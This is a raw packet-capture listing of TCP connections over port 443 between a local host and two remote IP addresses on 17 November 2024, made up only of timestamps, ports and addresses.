Nov 17, 2024 12:35:52.478688002 CET	443	50023	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.528486967 CET	443	50021	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.528649092 CET	443	50021	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.528702974 CET	50021	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:52.528783083 CET	50021	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:52.528795958 CET	443	50021	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.528805971 CET	50021	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:52.528811932 CET	443	50021	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.531634092 CET	50029	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:52.531677008 CET	443	50029	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.531749964 CET	50029	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:52.531897068 CET	50029	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:52.531914949 CET	443	50029	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.594372034 CET	443	50024	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.594445944 CET	443	50024	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.594501972 CET	50024	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:52.594733000 CET	50024	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:52.594752073 CET	443	50024	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.594763041 CET	50024	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:52.594769955 CET	443	50024	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.597364902 CET	50030	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:52.597398996 CET	443	50030	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.597501993 CET	50030	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:52.597634077 CET	50030	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:52.597649097 CET	443	50030	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.607120037 CET	443	50023	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.607182026 CET	443	50023	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.607234001 CET	50023	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:52.607243061 CET	443	50023	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.607276917 CET	443	50023	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.607332945 CET	50023	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:52.607371092 CET	50023	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:52.607377052 CET	443	50023	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.607388973 CET	50023	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:52.607392073 CET	443	50023	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.609458923 CET	50031	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:52.609503031 CET	443	50031	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.609580994 CET	50031	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:52.609707117 CET	50031	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:52.609728098 CET	443	50031	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.930207014 CET	443	50026	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.930769920 CET	50026	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:52.930808067 CET	443	50026	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.931236982 CET	50026	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:52.931243896 CET	443	50026	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:53.086447001 CET	50033	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:35:53.086484909 CET	443	50033	40.113.103.199	192.168.2.6
Nov 17, 2024 12:35:53.086563110 CET	50033	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:35:53.087155104 CET	50033	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:35:53.087163925 CET	443	50033	40.113.103.199	192.168.2.6
Nov 17, 2024 12:35:53.216428995 CET	443	50026	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:53.216495037 CET	443	50026	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:53.216551065 CET	50026	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:53.216712952 CET	50026	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:53.216727972 CET	443	50026	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:53.216739893 CET	50026	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:53.216746092 CET	443	50026	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:53.219125986 CET	50036	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:53.219151020 CET	443	50036	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:53.219222069 CET	50036	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:53.219383955 CET	50036	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:53.219402075 CET	443	50036	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:53.298485041 CET	443	50027	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:53.299022913 CET	50027	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:53.299109936 CET	443	50027	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:53.299288988 CET	50027	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:53.299304008 CET	443	50027	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:53.337167978 CET	443	50030	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:53.337538958 CET	50030	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:53.337552071 CET	443	50030	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:53.337970972 CET	50030	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:53.337975979 CET	443	50030	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:53.427733898 CET	443	50027	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:53.427895069 CET	443	50027	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:53.428081989 CET	50027	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:53.432540894 CET	50027	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:53.432554960 CET	443	50027	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:53.432570934 CET	50027	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:53.432575941 CET	443	50027	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:53.435136080 CET	50037	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:53.435173035 CET	443	50037	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:53.435255051 CET	50037	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:53.435400963 CET	50037	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:53.435409069 CET	443	50037	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:53.467726946 CET	443	50030	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:53.467809916 CET	443	50030	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:53.467885017 CET	50030	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:53.468036890 CET	50030	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:53.468050003 CET	443	50030	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:53.468060017 CET	50030	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:53.468065023 CET	443	50030	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:53.471024990 CET	50038	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:53.471100092 CET	443	50038	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:53.471189022 CET	50038	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:53.471338034 CET	50038	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:53.471363068 CET	443	50038	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:53.711349010 CET	443	50031	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:53.731106043 CET	50031	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:53.731125116 CET	443	50031	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:53.731838942 CET	50031	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:53.731844902 CET	443	50031	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:53.859421968 CET	443	50031	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:53.859489918 CET	443	50031	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:53.859586000 CET	50031	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:53.859591007 CET	443	50031	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:53.859639883 CET	50031	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:53.860323906 CET	50031	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:53.860323906 CET	50031	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:53.860359907 CET	443	50031	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:53.860388041 CET	443	50031	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:53.944133997 CET	50040	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:53.944161892 CET	443	50040	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:53.944284916 CET	50040	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:53.944889069 CET	50040	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:53.944905043 CET	443	50040	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:53.955687046 CET	443	50036	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:53.956064939 CET	50036	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:53.956087112 CET	443	50036	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:53.956490040 CET	50036	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:53.956496954 CET	443	50036	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.086337090 CET	443	50036	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.086515903 CET	443	50036	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.086651087 CET	50036	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:54.086678028 CET	50036	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:54.086690903 CET	443	50036	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.086705923 CET	50036	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:54.086711884 CET	443	50036	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.089380026 CET	50041	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:54.089454889 CET	443	50041	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.089533091 CET	50041	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:54.089654922 CET	50041	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:54.089675903 CET	443	50041	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.173163891 CET	443	50037	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.173731089 CET	50037	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:54.173754930 CET	443	50037	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.174170971 CET	50037	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:54.174175978 CET	443	50037	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.200103998 CET	443	50038	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.200534105 CET	50038	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:54.200560093 CET	443	50038	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.200886011 CET	50038	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:54.200891972 CET	443	50038	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.268827915 CET	443	50033	40.113.103.199	192.168.2.6
Nov 17, 2024 12:35:54.268917084 CET	50033	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:35:54.270993948 CET	50033	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:35:54.271001101 CET	443	50033	40.113.103.199	192.168.2.6
Nov 17, 2024 12:35:54.271332979 CET	443	50033	40.113.103.199	192.168.2.6
Nov 17, 2024 12:35:54.274041891 CET	50033	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:35:54.274121046 CET	50033	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:35:54.274127960 CET	443	50033	40.113.103.199	192.168.2.6
Nov 17, 2024 12:35:54.274364948 CET	50033	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:35:54.302746058 CET	443	50037	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.302809954 CET	443	50037	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.302912951 CET	443	50037	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.302988052 CET	50037	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:54.303122997 CET	50037	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:54.303137064 CET	443	50037	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.303148031 CET	50037	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:54.303153038 CET	443	50037	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.306242943 CET	50042	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:54.306272984 CET	443	50042	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.306396961 CET	50042	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:54.306586027 CET	50042	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:54.306601048 CET	443	50042	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.315346956 CET	443	50033	40.113.103.199	192.168.2.6
Nov 17, 2024 12:35:54.319964886 CET	443	50029	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.323398113 CET	50029	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:54.323419094 CET	443	50029	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.323995113 CET	50029	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:54.324001074 CET	443	50029	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.328027964 CET	443	50038	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.328109980 CET	443	50038	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.328197002 CET	50038	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:54.331147909 CET	50038	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:54.331159115 CET	443	50038	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.331172943 CET	50038	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:54.331177950 CET	443	50038	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.334388018 CET	50043	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:54.334429026 CET	443	50043	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.334533930 CET	50043	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:54.334635973 CET	50043	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:54.334655046 CET	443	50043	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.452491999 CET	443	50029	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.452563047 CET	443	50029	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.452676058 CET	443	50029	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.452769041 CET	50029	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:54.452920914 CET	50029	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:54.452929020 CET	443	50029	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.452943087 CET	50029	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:54.452948093 CET	443	50029	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.456161022 CET	50044	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:54.456204891 CET	443	50044	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.456300020 CET	50044	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:54.456545115 CET	50044	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:54.456562996 CET	443	50044	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.523252964 CET	443	50033	40.113.103.199	192.168.2.6
Nov 17, 2024 12:35:54.523701906 CET	50033	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:35:54.523710966 CET	443	50033	40.113.103.199	192.168.2.6
Nov 17, 2024 12:35:54.523736000 CET	50033	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:35:54.523758888 CET	50033	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:35:54.676973104 CET	443	50040	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.678972006 CET	50040	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:54.678983927 CET	443	50040	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.679311037 CET	50040	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:54.679320097 CET	443	50040	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.805711985 CET	443	50040	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.805799961 CET	443	50040	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.805915117 CET	50040	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:54.818857908 CET	50040	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:54.818873882 CET	443	50040	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.818886995 CET	50040	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:54.818892002 CET	443	50040	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.822283030 CET	50047	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:54.822331905 CET	443	50047	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.822453976 CET	50047	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:54.822645903 CET	443	50041	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.822756052 CET	50047	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:54.822773933 CET	443	50047	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.823662043 CET	50041	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:54.823673010 CET	443	50041	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.824259996 CET	50041	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:54.824265003 CET	443	50041	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.950961113 CET	443	50041	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.951132059 CET	443	50041	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.951323032 CET	50041	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:54.960608959 CET	50041	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:54.960629940 CET	443	50041	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.960639000 CET	50041	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:54.960644960 CET	443	50041	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.963416100 CET	50051	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:54.963440895 CET	443	50051	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:54.963514090 CET	50051	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:54.963639975 CET	50051	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:54.963644981 CET	443	50051	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.052577019 CET	443	50042	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.053056955 CET	50042	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:55.053070068 CET	443	50042	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.053447008 CET	50042	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:55.053452015 CET	443	50042	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.059607983 CET	443	50043	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.059998989 CET	50043	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:55.060015917 CET	443	50043	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.060323954 CET	50043	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:55.060328960 CET	443	50043	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.184727907 CET	443	50042	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.185118914 CET	443	50042	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.185192108 CET	50042	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:55.185200930 CET	443	50042	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.185233116 CET	443	50042	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.185282946 CET	50042	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:55.185293913 CET	443	50042	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.185307026 CET	50042	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:55.185307026 CET	50042	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:55.185313940 CET	443	50042	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.185323000 CET	443	50042	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.187997103 CET	50052	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:55.188009977 CET	443	50052	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.188091040 CET	50052	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:55.189685106 CET	50052	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:55.189697981 CET	443	50052	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.202522993 CET	443	50044	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.202712059 CET	443	50043	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.202939034 CET	443	50043	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.203020096 CET	50043	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:55.203094959 CET	50044	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:55.203107119 CET	443	50044	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.203692913 CET	50044	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:55.203699112 CET	443	50044	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.205744028 CET	50043	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:55.205765009 CET	443	50043	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.205775023 CET	50043	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:55.205780029 CET	443	50043	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.210048914 CET	50053	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:55.210108042 CET	443	50053	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.210202932 CET	50053	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:55.210333109 CET	50053	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:55.210365057 CET	443	50053	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.335483074 CET	443	50044	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.335691929 CET	443	50044	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.335753918 CET	50044	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:55.335777998 CET	50044	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:55.335789919 CET	443	50044	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.335802078 CET	50044	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:55.335808992 CET	443	50044	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.338942051 CET	50054	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:55.338952065 CET	443	50054	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.339013100 CET	50054	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:55.339169979 CET	50054	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:55.339174986 CET	443	50054	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.573021889 CET	443	50047	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.573470116 CET	50047	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:55.573493958 CET	443	50047	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.573960066 CET	50047	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:55.573966980 CET	443	50047	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.704318047 CET	443	50047	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.704476118 CET	443	50047	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.704540968 CET	50047	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:55.704637051 CET	50047	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:55.704653978 CET	443	50047	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.704694986 CET	50047	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:55.704703093 CET	443	50047	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.707581997 CET	50055	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:55.707609892 CET	443	50055	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.707736015 CET	50055	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:55.708014011 CET	50055	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:55.708030939 CET	443	50055	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.708038092 CET	443	50051	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.708380938 CET	50051	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:55.708394051 CET	443	50051	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.708817005 CET	50051	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:55.708822012 CET	443	50051	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.839831114 CET	443	50051	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.839994907 CET	443	50051	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.840068102 CET	50051	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:55.840154886 CET	50051	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:55.840168953 CET	443	50051	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.840177059 CET	50051	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:55.840183020 CET	443	50051	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.842859030 CET	50056	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:55.842886925 CET	443	50056	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.842972994 CET	50056	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:55.843137980 CET	50056	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:55.843149900 CET	443	50056	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.941206932 CET	443	50052	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.941694021 CET	50052	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:55.941716909 CET	443	50052	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.942111969 CET	50052	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:55.942116976 CET	443	50052	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.947638035 CET	443	50053	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.948036909 CET	50053	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:55.948069096 CET	443	50053	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:55.948395967 CET	50053	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:55.948402882 CET	443	50053	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.073853970 CET	443	50052	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.074012995 CET	443	50052	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.074093103 CET	50052	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.074309111 CET	50052	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.074316025 CET	443	50052	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.074327946 CET	50052	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.074333906 CET	443	50052	13.107.246.45	192.168.2.6
